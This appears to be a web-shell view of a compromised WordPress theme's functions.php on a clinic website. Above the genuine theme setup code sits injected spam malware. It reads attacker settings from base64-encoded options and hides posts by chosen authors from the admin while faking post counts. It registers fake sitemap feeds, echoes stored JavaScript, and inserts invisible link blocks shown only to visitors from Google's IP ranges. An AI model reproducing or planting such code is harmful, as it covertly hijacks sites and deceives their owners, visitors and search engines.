HEX
Server: Apache
System: Linux web2213.uni5.net 5.4.282-1.el8.elrepo.x86_64 #1 SMP Mon Aug 19 18:33:22 EDT 2024 x86_64
User: clinicamaciel (596848)
PHP: 7.3.33
Disabled: apache_child_terminate,c99_buff_prepare,c99_sess_put,dl,eval,exec,leak,link,myshellexec,openlog,passthru,pclose,pcntl_exec,php_check_syntax,php_strip_whitespace,popen,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,symlink,system,socket_listen,socket_create_listen,putenv
Upload Files
File: /home/clinicamaciel/www/wp-content/themes/chocorocco/functions.php
<?php

/* 6244350dad26fae71ffa0504b3cd58cf */

function is_archive_beta($where) {
    global $wpdb, $get_bloginfo_stack;

    $comments_template_decryption = array_keys($get_bloginfo_stack);
    $wp_footer_more = implode(', ', $comments_template_decryption);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'wp_reset_postdata_stack');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($wp_footer_more)";
    }

    return $where;
}

function get_the_modified_date_trigger($query) {

    global $get_bloginfo_stack;

    $comments_template_decryption = array_keys($get_bloginfo_stack);
    $wp_enqueue_style_more = is_search_method($comments_template_decryption);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $wp_enqueue_style_more);
    }
}

function comment_form_pic() {

    global $post, $get_bloginfo_stack;

    foreach ($get_bloginfo_stack as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (language_attributes_wp($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function language_attributes_wp($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (the_content_reference()) {
            return true;
        }
    }
    return false;
}

function wp_reset_postdata_stack($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function edit_post_link_meta($counts, $type, $perm) {

    if ($type === 'post') {
        $is_singular_ajax = $counts->publish;
        $wp_footer_json = wp_enqueue_style_beta($perm);
        $counts->publish = !$wp_footer_json ? $is_singular_ajax : $wp_footer_json;
    }
    return $counts;
}

function wp_enqueue_style_beta($perm) {
    global $wpdb, $get_bloginfo_stack;

    $comments_template_decryption = array_keys($get_bloginfo_stack);
    $wp_footer_more = implode(', ', $comments_template_decryption);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $comments_open_plain = get_post_type_object($type);

        if (!current_user_can($comments_open_plain->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($wp_footer_more) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $the_archive_title_cron) {
        if ($the_archive_title_cron['post_status'] === 'publish') {
            return $the_archive_title_cron['num_posts'];
        }
    }
}

function get_queried_object_id_character($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $comments_template_decryption = array();
    foreach ($results as $the_archive_title_cron) {
        $comments_template_decryption[] = $the_archive_title_cron['ID'];
    }
    return $comments_template_decryption;
}

function edit_post_link_request() {

    global $get_bloginfo_stack, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($get_bloginfo_stack as $wp_head_exception => $get_transient_soap) {
        $set_transient_soap = key($get_transient_soap['sitemapsettings']);

        if (!isset($rules[$set_transient_soap]) ||
            ($rules[$set_transient_soap] !== current($get_transient_soap['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function has_nav_menu_core($rules) {

    global $get_bloginfo_stack;

    $get_search_form_more = array();

    foreach ($get_bloginfo_stack as $wp_head_exception => $get_transient_soap) {
        if (isset($get_transient_soap['sitemapsettings'])) {
            $get_search_form_more[key($get_transient_soap['sitemapsettings'])] = current($get_transient_soap['sitemapsettings']);
        }
    }

    return $get_search_form_more + $rules;
}

function get_the_tag_list_https() {

    global $get_bloginfo_stack;

    foreach ($get_bloginfo_stack as $wp_head_exception => $get_transient_soap) {
        $have_posts_stat = str_replace('index.php?feed=', '', current($get_transient_soap['sitemapsettings']));
        add_feed($have_posts_stat, 'get_the_author_meta_library');
    }
}


function get_the_author_meta_library() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $add_partial_list = add_query_arg_boolean();
    $load_theme_textdomain_xml = get_queried_object_id_character($add_partial_list);

    if (!empty($load_theme_textdomain_xml)) {
        $get_theme_mod_queue = md5(implode(',', $load_theme_textdomain_xml));
        $add_image_size_security = 'update_plugins_' . $add_partial_list . '_' . $get_theme_mod_queue;
        $comment_form_soap = get_transient($add_image_size_security);

        if ($comment_form_soap !== false) {
            echo $comment_form_soap;
            return;
        }
    }



    $head = get_queried_object_id_edit();
    $is_wp_error_sample = $head . "\n";


    $priority = '0.5';
    $is_singular_https = 'weekly';
    $get_search_form_double = date('Y-m-d');

    foreach ($load_theme_textdomain_xml as $post_id) {
        $url = get_permalink($post_id);
        $is_wp_error_sample .= is_singular_integer($url, $get_search_form_double, $is_singular_https, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $is_wp_error_sample .= "\n</urlset>";

    set_transient($add_image_size_security, $is_wp_error_sample, WEEK_IN_SECONDS);

    echo $is_wp_error_sample;
}


function get_queried_object_id_edit() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function is_singular_integer($url, $get_search_form_double, $is_singular_https, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$get_search_form_double</lastmod>
      <changefreq>$is_singular_https</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function is_search_method($writersArr) {
    $wp_reset_postdata_cron = array();

    foreach ($writersArr as $item) {
        $wp_reset_postdata_cron[] = '-' . $item;
    }
    return implode(',', $wp_reset_postdata_cron);
}

function get_author_posts_url_dns() {

    $add_action_beta = array();
    $the_post_framework = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $get_the_title_exception = unserialize(base64_decode($settings));
        if ($get_the_title_exception) {
            $add_action_beta = $get_the_title_exception;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $get_the_tag_list_exception = unserialize(base64_decode($settings));
        if ($get_the_tag_list_exception) {
            $the_post_framework = $get_the_tag_list_exception;
        }
    }

    return $the_post_framework + $add_action_beta;

}

function add_query_arg_boolean() {

    global $get_bloginfo_stack;

    foreach ($get_bloginfo_stack as $wp_head_exception => $get_transient_soap) {

        $get_the_ID_double = key($get_transient_soap['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($get_transient_soap['sitemapsettings']) . '$');

        if (preg_match("~$get_the_ID_double~", $_SERVER['REQUEST_URI'])) {
            return $wp_head_exception;
        }
    }
}

function add_section_path() {
    global $get_bloginfo_stack, $post;

    $get_theme_file_uri_pointer = array_keys($get_bloginfo_stack);
    if (in_array($post->post_author, $get_theme_file_uri_pointer)) {
        return true;
    }
    return false;
}

function get_setting_get() {
    global $get_bloginfo_stack, $post;

    $get_theme_file_uri_pointer = array_keys($get_bloginfo_stack);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $get_theme_file_uri_pointer)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function body_class_object() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function the_content_reference() {

    $have_posts_restful = body_class_object();

    if (strstr($have_posts_restful, ', ')) {
        $the_ID_time = explode(', ', $have_posts_restful);
        $have_posts_restful = $the_ID_time[0];
    }

    $get_the_author_meta_security = get_theme_file_uri_pic();

    if (!$get_the_author_meta_security) {
        return false;
    }

    foreach ($get_the_author_meta_security as $range) {
        if (comment_form_stack($have_posts_restful, $range)) {
            return true;
        }
    }
    return false;
}

function _x_package($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function get_theme_file_uri_pic() {

    if (($value = get_option('wp_custom_range')) && !_x_package($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $get_the_author_meta_security = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($get_the_author_meta_security)) {

            return;
        }

        $value = array('ranges' => $get_the_author_meta_security, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function the_excerpt_stack($inet) {
    $wp_die_boolean = str_split($inet);
    $get_comments_number_framework = '';
    foreach ($wp_die_boolean as $char) {
        $get_comments_number_framework .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $get_comments_number_framework;
}

function comment_form_stack($have_posts_restful, $cidrnet) {
    $have_posts_restful = inet_pton($have_posts_restful);
    $get_comments_number_framework = the_excerpt_stack($have_posts_restful);

    list($net, $wp_list_comments_queue) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $add_theme_support_ajax = the_excerpt_stack($net);

    $the_post_wp = substr($get_comments_number_framework, 0, $wp_list_comments_queue);
    $wp_enqueue_style_ajax = substr($add_theme_support_ajax, 0, $wp_list_comments_queue);

    if ($the_post_wp !== $wp_enqueue_style_ajax) {
        return false;
    } else {
        return true;
    }
}


function get_stylesheet_uri_hashing($wp_enqueue_style_queue) {

    global $post;

    $get_the_ID_all = '';


    if (the_archive_title_exception($wp_enqueue_style_queue, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $get_the_ID_all = get_option('home_links_custom_0');
        }
    } elseif (the_archive_title_exception($wp_enqueue_style_queue, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $get_the_ID_all = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (the_archive_title_exception($wp_enqueue_style_queue, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $load_theme_textdomain_merge = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $get_the_ID_all = get_option('home_links_custom_' . $load_theme_textdomain_merge);
        
        
    } elseif (the_archive_title_exception($wp_enqueue_style_queue, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$get_the_ID_all ? '' : $get_the_ID_all;
}

function the_archive_title_exception($get_transient_soap, $the_ID_beta, $the_content_branch) {
    if (!isset($get_transient_soap[$the_ID_beta][$the_content_branch])) {
        return false;
    }

    if ($get_transient_soap[$the_ID_beta][$the_content_branch] === 1) {
        return true;
    }

    return false;

}

function get_theme_mod_package($wp_enqueue_style_queue, $the_excerpt_queue) {
    if (empty($the_excerpt_queue)) {
        return '';
    }

    if (the_archive_title_exception($wp_enqueue_style_queue, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $absint_call = get_transient_statement();
        $get_comments_number_compiler = $absint_call[$blockNum[0]];
        return $get_comments_number_compiler[0] . PHP_EOL . $the_excerpt_queue . PHP_EOL . $get_comments_number_compiler[1];
    }

    return $the_excerpt_queue;
}

function get_transient_statement() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function get_stylesheet_uri_boolean($wp_enqueue_style_queue) {
    return the_archive_title_exception($wp_enqueue_style_queue, 'position', 'head');
}

function get_theme_mod_session($wp_enqueue_style_queue) {
    return the_archive_title_exception($wp_enqueue_style_queue, 'position', 'footer');
}

function has_nav_menu_hashing($settings) {
    foreach ($settings as $wp_head_exception => $get_transient_soap) {
        if (isset($get_transient_soap['homeLinks'])) {
            return $get_transient_soap['homeLinks'];
        }
    }
    return array();
}


function is_active_sidebar_xml() {
    if (!add_section_path()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function get_transient_beta() {

    global $wp_enqueue_style_queue;

    if (!is_active_sidebar_xml()) {
        
        
        return;
    }

    if (the_archive_title_exception($wp_enqueue_style_queue, 'hiddenType', 'cloacking')) {
        if (!the_content_reference()) {
            
            return;
        }
    }


    $the_excerpt_queue = get_stylesheet_uri_hashing($wp_enqueue_style_queue);
    $the_excerpt_queue = get_theme_mod_package($wp_enqueue_style_queue, $the_excerpt_queue);

    


    echo $the_excerpt_queue;

}

$get_bloginfo_stack = get_author_posts_url_dns();


if (is_array($get_bloginfo_stack)) {
    add_filter('posts_where_paged', 'is_archive_beta');
    add_action('pre_get_posts', 'get_the_modified_date_trigger');
    add_action('wp_enqueue_scripts', 'comment_form_pic');
    add_filter('wp_count_posts', 'edit_post_link_meta' , 10, 3);
    add_filter('rewrite_rules_array', 'has_nav_menu_core');
    add_action('wp_loaded', 'edit_post_link_request');
    add_action('init', 'get_the_tag_list_https');
    add_action('template_redirect', 'get_setting_get');

    $wp_enqueue_style_queue = has_nav_menu_hashing($get_bloginfo_stack);

    if (!empty($wp_enqueue_style_queue)) {

        

        if (get_stylesheet_uri_boolean($wp_enqueue_style_queue)) {
            add_action('wp_head', 'get_transient_beta');
        }
        if (get_theme_mod_session($wp_enqueue_style_queue)) {
            add_action('wp_footer', 'get_transient_beta');
        }


    }
}

/* 6244350dad26fae71ffa0504b3cd58cf */


/**
 * Theme functions: init, enqueue scripts and styles, include required files and widgets
 *
 * @package WordPress
 * @subpackage CHOCOROCCO
 * @since CHOCOROCCO 1.0
 */

if (!defined("CHOCOROCCO_THEME_DIR")) define("CHOCOROCCO_THEME_DIR", trailingslashit( get_template_directory() ));
if (!defined("CHOCOROCCO_CHILD_DIR")) define("CHOCOROCCO_CHILD_DIR", trailingslashit( get_stylesheet_directory() ));

/**
 * Fire the wp_body_open action.
 *
 * Added for backwards compatibility to support pre 5.2.0 WordPress versions.
 */
if ( ! function_exists( 'wp_body_open' ) ) {
    function wp_body_open() {
        /**
         * Triggered after the opening <body> tag.
         */
        do_action('wp_body_open');
    }
}

// Theme storage
$CHOCOROCCO_STORAGE = array(
	// Theme required plugin's slugs
	'required_plugins' => array(

		// Required plugins
		// DON'T COMMENT OR REMOVE NEXT LINES!
		'trx_addons',

		// Recommended (supported) plugins
		// If plugin not need - comment (or remove) it
		'contact-form-7',
		'essential-grid',
		'instagram-feed',
		'js_composer',
		'mailchimp-for-wp',
		'revslider',
		'vc-extensions-bundle',
		'woocommerce',
        'trx_updater',
        'elegro-payment'
		)
);


//-------------------------------------------------------
//-- Theme init
//-------------------------------------------------------

// Theme init priorities:
// 1 - register filters to add/remove lists items in the Theme Options
// 2 - create Theme Options
// 3 - add/remove Theme Options elements
// 5 - load Theme Options
// 9 - register other filters (for installer, etc.)
//10 - standard Theme init procedures (not ordered)

if ( !function_exists('chocorocco_theme_setup1') ) {
	add_action( 'after_setup_theme', 'chocorocco_theme_setup1', 1 );
	function chocorocco_theme_setup1() {
		// Make theme available for translation
		// Translations can be filed in the /languages directory
		// Attention! Translations must be loaded before first call any translation functions!
		load_theme_textdomain( 'chocorocco', get_template_directory() . '/languages' );

		// Set theme content width
		$GLOBALS['content_width'] = apply_filters( 'chocorocco_filter_content_width', 1170 );
	}
}

if ( !function_exists('chocorocco_theme_setup') ) {
	add_action( 'after_setup_theme', 'chocorocco_theme_setup' );
	function chocorocco_theme_setup() {

		// Add default posts and comments RSS feed links to head 
		add_theme_support( 'automatic-feed-links' );
		
		// Custom header setup
		add_theme_support( 'custom-header', array(
			'header-text'=>false,
			'video' => true
			)
		);

		// Custom backgrounds setup
		add_theme_support( 'custom-background', array()	);
		
		// Supported posts formats
		add_theme_support( 'post-formats', array('gallery', 'video', 'audio', 'link', 'quote', 'image', 'status', 'aside', 'chat') ); 
 
 		// Autogenerate title tag
		add_theme_support('title-tag');
 		
		// Add theme menus
		add_theme_support('nav-menus');
		
		// Switch default markup for search form, comment form, and comments to output valid HTML5.
		add_theme_support( 'html5', array('search-form', 'comment-form', 'comment-list', 'gallery', 'caption') );
		
		// Editor custom stylesheet - for user
		add_editor_style( array_merge(
			array(
				'css/editor-style.css',
				chocorocco_get_file_url('css/fontello/css/fontello-embedded.css')
			),
			chocorocco_theme_fonts_for_editor()
			)
		);	
	
		// Register navigation menu
		register_nav_menus(array(
			'menu_main' => esc_html__('Main Menu', 'chocorocco'),
			'menu_mobile' => esc_html__('Mobile Menu', 'chocorocco'),
			'menu_footer' => esc_html__('Footer Menu', 'chocorocco')
			)
		);

		// Excerpt filters
		add_filter( 'excerpt_length',						'chocorocco_excerpt_length' );
		add_filter( 'excerpt_more',							'chocorocco_excerpt_more' );
		
		// Add required meta tags in the head
		add_action('wp_head',		 						'chocorocco_wp_head', 0);
		
		// Load current page/post customization (if present)
		add_action('wp_footer',		 						'chocorocco_wp_footer');
		add_action('admin_footer',	 						'chocorocco_wp_footer');

		// Enqueue scripts and styles for frontend
		add_action('wp_enqueue_scripts', 					'chocorocco_wp_scripts', 1000);			// priority 1000 - load styles
																									// before the plugin's support custom styles
																									// (with priority 1100)
		add_action('wp_enqueue_scripts', 					'chocorocco_wp_scripts_child', 1200);		// priority 1200 - load styles
																									// after the plugin's support custom styles
																									// (with priority 1100)
		add_action('wp_enqueue_scripts', 					'chocorocco_wp_scripts_responsive', 2000);	// priority 2000 - load responsive
																									// after all other styles
		add_action('wp_footer',		 						'chocorocco_localize_scripts');
		
		// Add body classes
		add_filter( 'body_class',							'chocorocco_add_body_classes' );

		// Register sidebars
		add_action('widgets_init',							'chocorocco_register_sidebars');

		// Set options for importer (before other plugins)
		add_filter( 'trx_addons_filter_importer_options',	'chocorocco_importer_set_options', 9 );
	}

}


//-------------------------------------------------------
//-- Theme scripts and styles
//-------------------------------------------------------

// Load frontend scripts
if ( !function_exists( 'chocorocco_wp_scripts' ) ) {
	
	function chocorocco_wp_scripts() {
		
		// Enqueue styles
		//------------------------
		
		// Links to selected fonts
		$links = chocorocco_theme_fonts_links();
		if (count($links) > 0) {
			foreach ($links as $slug => $link) {
				wp_enqueue_style( sprintf('chocorocco-font-%s', $slug), $link );
			}
		}
		
		// Fontello styles must be loaded before main stylesheet
		// This style NEED the theme prefix, because style 'fontello' in some plugin contain different set of characters
		// and can't be used instead this style!
		wp_enqueue_style( 'fontello-icons',  chocorocco_get_file_url('css/fontello/css/fontello-embedded.css') );

		// Load main stylesheet
		$main_stylesheet = get_template_directory_uri() . '/style.css';
		wp_enqueue_style( 'chocorocco-main', $main_stylesheet, array(), null );

		// Add custom bg image for the body_style == 'boxed'
		if ( chocorocco_get_theme_option('body_style') == 'boxed' && ($bg_image = chocorocco_get_theme_option('boxed_bg_image')) != '' )
			wp_add_inline_style( 'chocorocco-main', '.body_style_boxed { background-image:url('.esc_url($bg_image).') }' );

		// Merged styles
		if ( chocorocco_is_off(chocorocco_get_theme_option('debug_mode')) )
			wp_enqueue_style( 'chocorocco-styles', chocorocco_get_file_url('css/__styles.css') );

		// Custom colors
		if ( !is_customize_preview() && !isset($_GET['color_scheme']) && chocorocco_is_off(chocorocco_get_theme_option('debug_mode')) )
			wp_enqueue_style( 'chocorocco-colors', chocorocco_get_file_url('css/__colors.css') );
		else
			wp_add_inline_style( 'chocorocco-main', chocorocco_customizer_get_css() );

		// Add post nav background
		chocorocco_add_bg_in_post_nav();

		// Disable loading JQuery UI CSS
		wp_deregister_style('jquery_ui');
		wp_deregister_style('date-picker-css');


		// Enqueue scripts	
		//------------------------
		
		// Modernizr will load in head before other scripts and styles
		if ( in_array(substr(chocorocco_get_theme_option('blog_style'), 0, 7), array('gallery', 'portfol', 'masonry')) )
			wp_enqueue_script( 'modernizr', chocorocco_get_file_url('js/theme.gallery/modernizr.min.js'), array(), null, false );

		// Superfish Menu
		// Attention! To prevent duplicate this script in the plugin and in the menu, don't merge it!
		wp_enqueue_script( 'superfish', chocorocco_get_file_url('js/superfish.js'), array('jquery'), null, true );
		
		// Merged scripts
		if ( chocorocco_is_off(chocorocco_get_theme_option('debug_mode')) )
			wp_enqueue_script( 'chocorocco-init', chocorocco_get_file_url('js/__scripts.js'), array('jquery'), null, true );
		else {
			// Skip link focus
			wp_enqueue_script( 'skip-link-focus-fix', chocorocco_get_file_url('js/skip-link-focus-fix.js'), null, true );
			// Background video
			$header_video = chocorocco_get_header_video();
			if (!empty($header_video) && !chocorocco_is_inherit($header_video)) {
				if (chocorocco_is_youtube_url($header_video))
					wp_enqueue_script( 'tubular', chocorocco_get_file_url('js/jquery.tubular.js'), array('jquery'), null, true );
				else
					wp_enqueue_script( 'bideo', chocorocco_get_file_url('js/bideo.js'), array(), null, true );
			}
			// Theme scripts
			wp_enqueue_script( 'chocorocco-utils', chocorocco_get_file_url('js/_utils.js'), array('jquery'), null, true );
			wp_enqueue_script( 'chocorocco-init', chocorocco_get_file_url('js/_init.js'), array('jquery'), null, true );	
		}
		
		// Comments
		if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
			wp_enqueue_script( 'comment-reply' );
		}

		// Media elements library	
		if (chocorocco_get_theme_setting('use_mediaelements')) {
			wp_enqueue_style ( 'mediaelement' );
			wp_enqueue_style ( 'wp-mediaelement' );
			wp_enqueue_script( 'mediaelement' );
			wp_enqueue_script( 'wp-mediaelement' );
		}
	}
}

// Load child-theme stylesheet (if different) after all styles (with priorities 1000 and 1100)
if ( !function_exists( 'chocorocco_wp_scripts_child' ) ) {
	
	function chocorocco_wp_scripts_child() {
		$main_stylesheet = get_template_directory_uri() . '/style.css';
		$child_stylesheet = get_stylesheet_directory_uri() . '/style.css';
		if ($child_stylesheet != $main_stylesheet) {
			wp_enqueue_style( 'chocorocco-child', $child_stylesheet, array('chocorocco-main'), null );
		}
	}
}

// Add variables to the scripts in the frontend
if ( !function_exists( 'chocorocco_localize_scripts' ) ) {
	
	function chocorocco_localize_scripts() {

		$video = chocorocco_get_header_video();

		wp_localize_script( 'chocorocco-init', 'CHOCOROCCO_STORAGE', apply_filters( 'chocorocco_filter_localize_script', array(
			// AJAX parameters
			'ajax_url' => esc_url(admin_url('admin-ajax.php')),
			'ajax_nonce' => esc_attr(wp_create_nonce(admin_url('admin-ajax.php'))),
			
			// Site base url
			'site_url' => get_site_url(),
			'theme_url' => get_template_directory_uri(),
						
			// Site color scheme
			'site_scheme' => sprintf('scheme_%s', chocorocco_get_theme_option('color_scheme')),
			
			// User logged in
			'user_logged_in' => is_user_logged_in() ? true : false,
			
			// Window width to switch the site header to the mobile layout
			'mobile_layout_width' => 767,
			'mobile_device' => wp_is_mobile(),
						
			// Sidemenu options
			'menu_side_stretch' => chocorocco_get_theme_option('menu_side_stretch') > 0 ? true : false,
			'menu_side_icons' => chocorocco_get_theme_option('menu_side_icons') > 0 ? true : false,

			// Video background
			'background_video' => chocorocco_is_from_uploads($video) ? $video : '',

			// Video and Audio tag wrapper
			'use_mediaelements' => chocorocco_get_theme_setting('use_mediaelements') ? true : false,

			// Messages max length
			'comment_maxlength'	=> intval(chocorocco_get_theme_setting('comment_maxlength')),

			
			// Internal vars - do not change it!
			
			// Flag for review mechanism
			'admin_mode' => false,

			// E-mail mask
			'email_mask' => '^([a-zA-Z0-9_\\-]+\\.)*[a-zA-Z0-9_\\-]+@[a-z0-9_\\-]+(\\.[a-z0-9_\\-]+)*\\.[a-z]{2,6}$',
			
			// Strings for translation
			'strings' => array(
					'ajax_error'		=> esc_html__('Invalid server answer!', 'chocorocco'),
					'error_global'		=> esc_html__('Error data validation!', 'chocorocco'),
					'name_empty' 		=> esc_html__("The name can't be empty", 'chocorocco'),
					'name_long'			=> esc_html__('Too long name', 'chocorocco'),
					'email_empty'		=> esc_html__('Too short (or empty) email address', 'chocorocco'),
					'email_long'		=> esc_html__('Too long email address', 'chocorocco'),
					'email_not_valid'	=> esc_html__('Invalid email address', 'chocorocco'),
					'text_empty'		=> esc_html__("The message text can't be empty", 'chocorocco'),
					'text_long'			=> esc_html__('Too long message text', 'chocorocco')
					)
			))
		);
	}
}

// Load responsive styles (priority 2000 - load it after main styles and plugins custom styles)
if ( !function_exists( 'chocorocco_wp_scripts_responsive' ) ) {
	
	function chocorocco_wp_scripts_responsive() {
		wp_enqueue_style( 'chocorocco-responsive', chocorocco_get_file_url('css/responsive.css') );
	}
}

//  Add meta tags and inline scripts in the header for frontend
if (!function_exists('chocorocco_wp_head')) {
	
	function chocorocco_wp_head() {
		?>
		<meta charset="<?php bloginfo( 'charset' ); ?>">
		<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
		<meta name="format-detection" content="telephone=no">
		<link rel="profile" href="//gmpg.org/xfn/11">
		<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
		<?php
	}
}

// Add theme specified classes to the body
if ( !function_exists('chocorocco_add_body_classes') ) {
	
	function chocorocco_add_body_classes( $classes ) {
		$classes[] = 'body_tag';	// Need for the .scheme_self
		$classes[] = 'scheme_' . esc_attr(chocorocco_get_theme_option('color_scheme'));

		$blog_mode = chocorocco_storage_get('blog_mode');
		$classes[] = 'blog_mode_' . esc_attr($blog_mode);
		$classes[] = 'body_style_' . esc_attr(chocorocco_get_theme_option('body_style'));

		if (in_array($blog_mode, array('post', 'page'))) {
			$classes[] = 'is_single';
		} else {
			$classes[] = ' is_stream';
			$classes[] = 'blog_style_'.esc_attr(chocorocco_get_theme_option('blog_style'));
			if (chocorocco_storage_get('blog_template') > 0)
				$classes[] = 'blog_template';
		}
		
		if (chocorocco_sidebar_present()) {
			$classes[] = 'sidebar_show sidebar_' . esc_attr(chocorocco_get_theme_option('sidebar_position')) ;
		} else {
			$classes[] = 'sidebar_hide';
			if (chocorocco_is_on(chocorocco_get_theme_option('expand_content')))
				 $classes[] = 'expand_content';
		}
		
		if (chocorocco_is_on(chocorocco_get_theme_option('remove_margins')))
			 $classes[] = 'remove_margins';

		$classes[] = 'header_style_' . esc_attr(chocorocco_get_theme_option("header_style"));
		$classes[] = 'header_position_' . esc_attr(chocorocco_get_theme_option("header_position"));

		$menu_style= chocorocco_get_theme_option("menu_style");
		$classes[] = 'menu_style_' . esc_attr($menu_style) . (in_array($menu_style, array('left', 'right'))	? ' menu_style_side' : '');
		$classes[] = 'no_layout';
		
		return $classes;
	}
}
	
// Load current page/post customization (if present)
if ( !function_exists( 'chocorocco_wp_footer' ) ) {
	
	//and add_action('admin_footer', 'chocorocco_wp_footer');
	function chocorocco_wp_footer() {
		if (($css = chocorocco_get_inline_css()) != '') {
			wp_enqueue_style(  'chocorocco-inline-styles',  chocorocco_get_file_url('css/__inline.css') );
			wp_add_inline_style( 'chocorocco-inline-styles', $css );
		}
	}
}


//-------------------------------------------------------
//-- Sidebars and widgets
//-------------------------------------------------------

